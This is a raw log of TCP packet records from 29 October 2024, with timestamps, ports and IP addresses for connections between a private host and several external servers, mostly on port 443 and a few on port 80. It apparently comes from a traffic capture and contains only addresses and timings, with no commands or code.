Oct 29, 2024 17:59:26.731457949 CET	49828	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.731581926 CET	49828	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.731599092 CET	443	49828	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.946950912 CET	443	49819	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.947443962 CET	49819	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.947475910 CET	443	49819	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.947976112 CET	49819	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.947982073 CET	443	49819	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.038053036 CET	443	49821	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.038499117 CET	49821	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.038522005 CET	443	49821	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.038959980 CET	49821	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.038964987 CET	443	49821	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.062031984 CET	443	49822	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.062438965 CET	49822	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.062505007 CET	443	49822	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.062922001 CET	49822	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.062937021 CET	443	49822	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.068321943 CET	443	49823	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.068654060 CET	49823	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.068662882 CET	443	49823	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.069109917 CET	49823	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.069113970 CET	443	49823	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.091783047 CET	443	49819	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.091850042 CET	443	49819	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.092811108 CET	49819	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.092842102 CET	49819	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.092842102 CET	49819	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.092854977 CET	443	49819	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.092861891 CET	443	49819	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.095473051 CET	49829	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.095484972 CET	443	49829	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.095556974 CET	49829	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.095736027 CET	49829	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.095746994 CET	443	49829	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.167490005 CET	443	49821	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.167547941 CET	443	49821	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.167676926 CET	49821	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.167808056 CET	49821	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.167823076 CET	443	49821	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.167834044 CET	49821	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.167840958 CET	443	49821	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.170811892 CET	49830	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.170861959 CET	443	49830	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.170986891 CET	49830	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.171130896 CET	49830	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.171148062 CET	443	49830	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.193212032 CET	443	49822	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.193341970 CET	443	49822	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.193583965 CET	49822	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.193656921 CET	49822	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.193656921 CET	49822	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.193698883 CET	443	49822	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.193723917 CET	443	49822	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.196680069 CET	49831	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.196696997 CET	443	49831	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.196794987 CET	49831	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.197355032 CET	49831	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.197365999 CET	443	49831	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.203883886 CET	443	49823	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.204404116 CET	443	49823	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.204458952 CET	49823	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.204492092 CET	49823	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.204492092 CET	49823	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.204508066 CET	443	49823	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.204518080 CET	443	49823	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.206480980 CET	49832	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.206569910 CET	443	49832	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.206659079 CET	49832	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.206780910 CET	49832	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.206820011 CET	443	49832	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.353123903 CET	443	49824	184.28.90.27	192.168.2.6
Oct 29, 2024 17:59:27.353210926 CET	49824	443	192.168.2.6	184.28.90.27
Oct 29, 2024 17:59:27.354523897 CET	49824	443	192.168.2.6	184.28.90.27
Oct 29, 2024 17:59:27.354532957 CET	443	49824	184.28.90.27	192.168.2.6
Oct 29, 2024 17:59:27.354759932 CET	443	49824	184.28.90.27	192.168.2.6
Oct 29, 2024 17:59:27.355926037 CET	49824	443	192.168.2.6	184.28.90.27
Oct 29, 2024 17:59:27.399763107 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.400062084 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:27.400110006 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.401146889 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.401206970 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:27.403331995 CET	443	49824	184.28.90.27	192.168.2.6
Oct 29, 2024 17:59:27.414220095 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:27.414287090 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.414402962 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:27.414416075 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.461882114 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:27.521992922 CET	443	49828	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.522484064 CET	49828	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.522499084 CET	443	49828	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.522916079 CET	49828	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.522922993 CET	443	49828	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.535868883 CET	49833	443	192.168.2.6	142.250.185.142
Oct 29, 2024 17:59:27.535907030 CET	443	49833	142.250.185.142	192.168.2.6
Oct 29, 2024 17:59:27.536151886 CET	49833	443	192.168.2.6	142.250.185.142
Oct 29, 2024 17:59:27.536225080 CET	49833	443	192.168.2.6	142.250.185.142
Oct 29, 2024 17:59:27.536241055 CET	443	49833	142.250.185.142	192.168.2.6
Oct 29, 2024 17:59:27.604099035 CET	443	49824	184.28.90.27	192.168.2.6
Oct 29, 2024 17:59:27.604156017 CET	443	49824	184.28.90.27	192.168.2.6
Oct 29, 2024 17:59:27.604216099 CET	49824	443	192.168.2.6	184.28.90.27
Oct 29, 2024 17:59:27.605655909 CET	49824	443	192.168.2.6	184.28.90.27
Oct 29, 2024 17:59:27.605673075 CET	443	49824	184.28.90.27	192.168.2.6
Oct 29, 2024 17:59:27.658071041 CET	443	49828	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.658134937 CET	443	49828	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.658191919 CET	49828	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.658819914 CET	49828	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.658843040 CET	443	49828	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.658854961 CET	49828	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.658862114 CET	443	49828	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.659044981 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.659096956 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.659125090 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.659157038 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.659156084 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:27.659185886 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.659205914 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:27.659828901 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.659898043 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:27.659905910 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.662688971 CET	49834	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.662740946 CET	443	49834	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.662811041 CET	49834	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.663002968 CET	49834	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.663036108 CET	443	49834	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.667716026 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.667882919 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:27.667890072 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.711858034 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:27.711884975 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.716172934 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:27.716682911 CET	49837	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:27.721874952 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:27.722460032 CET	80	49837	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:27.722539902 CET	49837	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:27.722750902 CET	49837	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:27.728127003 CET	80	49837	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:27.758236885 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:27.797388077 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.797451019 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.797477961 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.797516108 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:27.797547102 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.797605038 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:27.797657967 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.797698975 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.797748089 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:27.797755003 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.798600912 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.798661947 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:27.798669100 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.822489977 CET	443	49829	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.833255053 CET	49829	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.833265066 CET	443	49829	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.833748102 CET	49829	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.833753109 CET	443	49829	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.851880074 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:27.851887941 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.891221046 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.891299963 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:27.891309977 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.896248102 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.896354914 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:27.896362066 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.909245968 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.909286976 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.909318924 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:27.909326077 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.909368992 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:27.909436941 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.925632954 CET	443	49831	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.925879002 CET	443	49830	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.926289082 CET	49831	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.926305056 CET	443	49831	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.926983118 CET	49831	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.926987886 CET	443	49831	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.927247047 CET	49830	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.927268028 CET	443	49830	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.927601099 CET	49830	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.927608013 CET	443	49830	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.942179918 CET	443	49832	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.942528009 CET	49832	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.942559958 CET	443	49832	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.942986012 CET	49832	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.942995071 CET	443	49832	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.951565027 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.951622009 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:27.951628923 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:27.958532095 CET	443	49829	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.958589077 CET	443	49829	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.958751917 CET	49829	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.958884001 CET	49829	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.958888054 CET	443	49829	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.958900928 CET	49829	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.958904982 CET	443	49829	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.961664915 CET	49838	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.961698055 CET	443	49838	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.961874962 CET	49838	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.962222099 CET	49838	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:27.962233067 CET	443	49838	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:27.992491961 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:27.992501020 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.007550001 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.007589102 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.007611990 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.007632971 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.007803917 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.013312101 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.017256021 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.017307997 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.017323017 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.027945042 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.027976990 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.028074026 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.028081894 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.028279066 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.030901909 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.055444002 CET	443	49831	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.055509090 CET	443	49831	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.055722952 CET	49831	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.055752993 CET	49831	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.055764914 CET	443	49831	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.055788040 CET	49831	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.055793047 CET	443	49831	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.055856943 CET	443	49830	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.056051970 CET	443	49830	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.056102037 CET	443	49830	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.056104898 CET	49830	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.056190968 CET	49830	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.056380033 CET	49830	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.056394100 CET	443	49830	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.056416988 CET	49830	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.056425095 CET	443	49830	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.058868885 CET	49839	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.058913946 CET	443	49839	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.058981895 CET	49839	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.059036970 CET	49840	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.059060097 CET	443	49840	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.059154034 CET	49839	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.059165955 CET	443	49839	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.059186935 CET	49840	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.059420109 CET	49840	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.059432030 CET	443	49840	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.074954033 CET	443	49832	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.074980021 CET	443	49832	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.075023890 CET	443	49832	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.075022936 CET	49832	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.075397968 CET	49832	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.075422049 CET	443	49832	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.075437069 CET	49832	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.075444937 CET	443	49832	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.077395916 CET	49841	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.077420950 CET	443	49841	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.077572107 CET	49841	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.077681065 CET	49841	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.077697992 CET	443	49841	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.086241007 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.086265087 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.123472929 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.123557091 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.123577118 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.128307104 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.128516912 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.128530979 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.133354902 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.133423090 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.133430958 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.144681931 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.144714117 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.144737959 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.144793034 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.144804001 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.183111906 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.183216095 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.183224916 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.226881981 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.239574909 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.244420052 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.244450092 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.244479895 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.244492054 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.244609118 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.247340918 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.249291897 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.249346972 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.249358892 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.260245085 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.260298967 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.260308027 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.260524988 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.260586977 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.260593891 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.299329996 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.299598932 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.299612045 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.352138042 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.355510950 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.363384008 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.363420010 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.363444090 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.363464117 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.363722086 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.365597963 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.376257896 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.376292944 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.376327038 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.376348972 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.376353025 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.376368046 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.376382113 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.376454115 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.378984928 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.399665117 CET	443	49833	142.250.185.142	192.168.2.6
Oct 29, 2024 17:59:28.399878979 CET	49833	443	192.168.2.6	142.250.185.142
Oct 29, 2024 17:59:28.399893999 CET	443	49833	142.250.185.142	192.168.2.6
Oct 29, 2024 17:59:28.400393009 CET	443	49833	142.250.185.142	192.168.2.6
Oct 29, 2024 17:59:28.400460958 CET	49833	443	192.168.2.6	142.250.185.142
Oct 29, 2024 17:59:28.401407957 CET	443	49833	142.250.185.142	192.168.2.6
Oct 29, 2024 17:59:28.401477098 CET	49833	443	192.168.2.6	142.250.185.142
Oct 29, 2024 17:59:28.402395010 CET	49833	443	192.168.2.6	142.250.185.142
Oct 29, 2024 17:59:28.402477980 CET	443	49833	142.250.185.142	192.168.2.6
Oct 29, 2024 17:59:28.402568102 CET	49833	443	192.168.2.6	142.250.185.142
Oct 29, 2024 17:59:28.402576923 CET	443	49833	142.250.185.142	192.168.2.6
Oct 29, 2024 17:59:28.402602911 CET	49833	443	192.168.2.6	142.250.185.142
Oct 29, 2024 17:59:28.415286064 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.415333986 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.415347099 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.415365934 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.415610075 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.430706024 CET	443	49834	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.431703091 CET	49834	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.431729078 CET	443	49834	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.432177067 CET	49834	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.432183981 CET	443	49834	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.445909977 CET	49833	443	192.168.2.6	142.250.185.142
Oct 29, 2024 17:59:28.445923090 CET	443	49833	142.250.185.142	192.168.2.6
Oct 29, 2024 17:59:28.471541882 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.479589939 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.479623079 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.479660034 CET	49827	443	192.168.2.6	216.58.206.78
